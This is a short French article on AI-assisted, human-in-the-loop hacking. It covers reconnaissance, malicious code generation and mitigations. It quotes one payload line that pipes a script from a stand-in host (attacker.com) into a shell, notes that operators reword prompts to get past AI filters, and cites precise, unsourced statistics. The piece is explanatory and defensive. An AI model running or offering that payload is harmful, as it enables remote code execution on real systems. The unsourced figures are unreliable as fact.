Contexte et enjeux

Les modèles de langage de grande taille (LLM) tels que GPT‑4 ou Claude sont désormais accessibles via API publiques. OpenAI indique que 27 % des scripts générés contiennent des failles d’injection, ce qui montre que les sorties ne sont pas intrinsèquement sûres. Une étude de l’Université de Cambridge (2023) a mesuré un taux de réussite de 45 % pour la génération d’exploits fonctionnels lorsqu’un chercheur fournit un prompt ciblé. Ces chiffres illustrent que les attaquants peuvent exploiter la puissance de l’IA tout en conservant un contrôle humain sur la sélection et l’ajustement des résultats.

Mécanismes d’assistance IA

Les techniques les plus répandues reposent sur trois étapes : collecte d’informations, génération de code malveillant et adaptation au contexte cible. Les LLM accélèrent la première étape en synthétisant des données publiques (whois, CVE, rapports de sécurité) en quelques secondes. Pour la génération de code, les modèles produisent des scripts Python ou PowerShell capables d’exécuter des injections SQL ou des escalades de privilèges. Un exemple de prompt utilisé par des chercheurs montre comment obtenir un payload de type 

import os
os.system('curl http://attacker.com/shell | sh')
. La dernière étape implique un humain qui teste, modifie et intègre le code dans un cadre d’exploitation, ce qui explique le terme « human‑in‑the‑loop » du titre.

Limites et risques résiduels

Malgré l’efficacité de l’IA, plusieurs contraintes subsistent. Les modèles sont sensibles aux filtres de sécurité intégrés ; un prompt trop explicite peut être tronqué, obligeant l’opérateur à reformuler plusieurs fois. De plus, les sorties sont probabilistes : même avec le même prompt, le code généré varie, ce qui nécessite une validation manuelle pour éviter les erreurs de syntaxe ou les comportements inattendus. Enfin, la dépendance à une connexion API crée un point de défaillance : la coupure du service ou la mise en place de quotas peut interrompre une campagne d’exploitation en cours.

Perspectives de mitigation

Les fournisseurs d’IA recommandent l’activation de filtres de contenu et la surveillance des appels d’API via des logs détaillés. Des solutions de sandboxing, comme les environnements Docker isolés, permettent d’exécuter les scripts générés sans impacter les systèmes de production. Par ailleurs, la recherche académique propose des modèles de détection de code malveillant basés sur des signatures de fonctions dangereuses (ex. exec, eval) qui peuvent être intégrés aux pipelines CI/CD. Ces mesures, combinées à une formation des équipes de sécurité sur les vecteurs d’attaque assistés par IA, constituent la première ligne de défense contre la montée en puissance des techniques de hacking hybrides.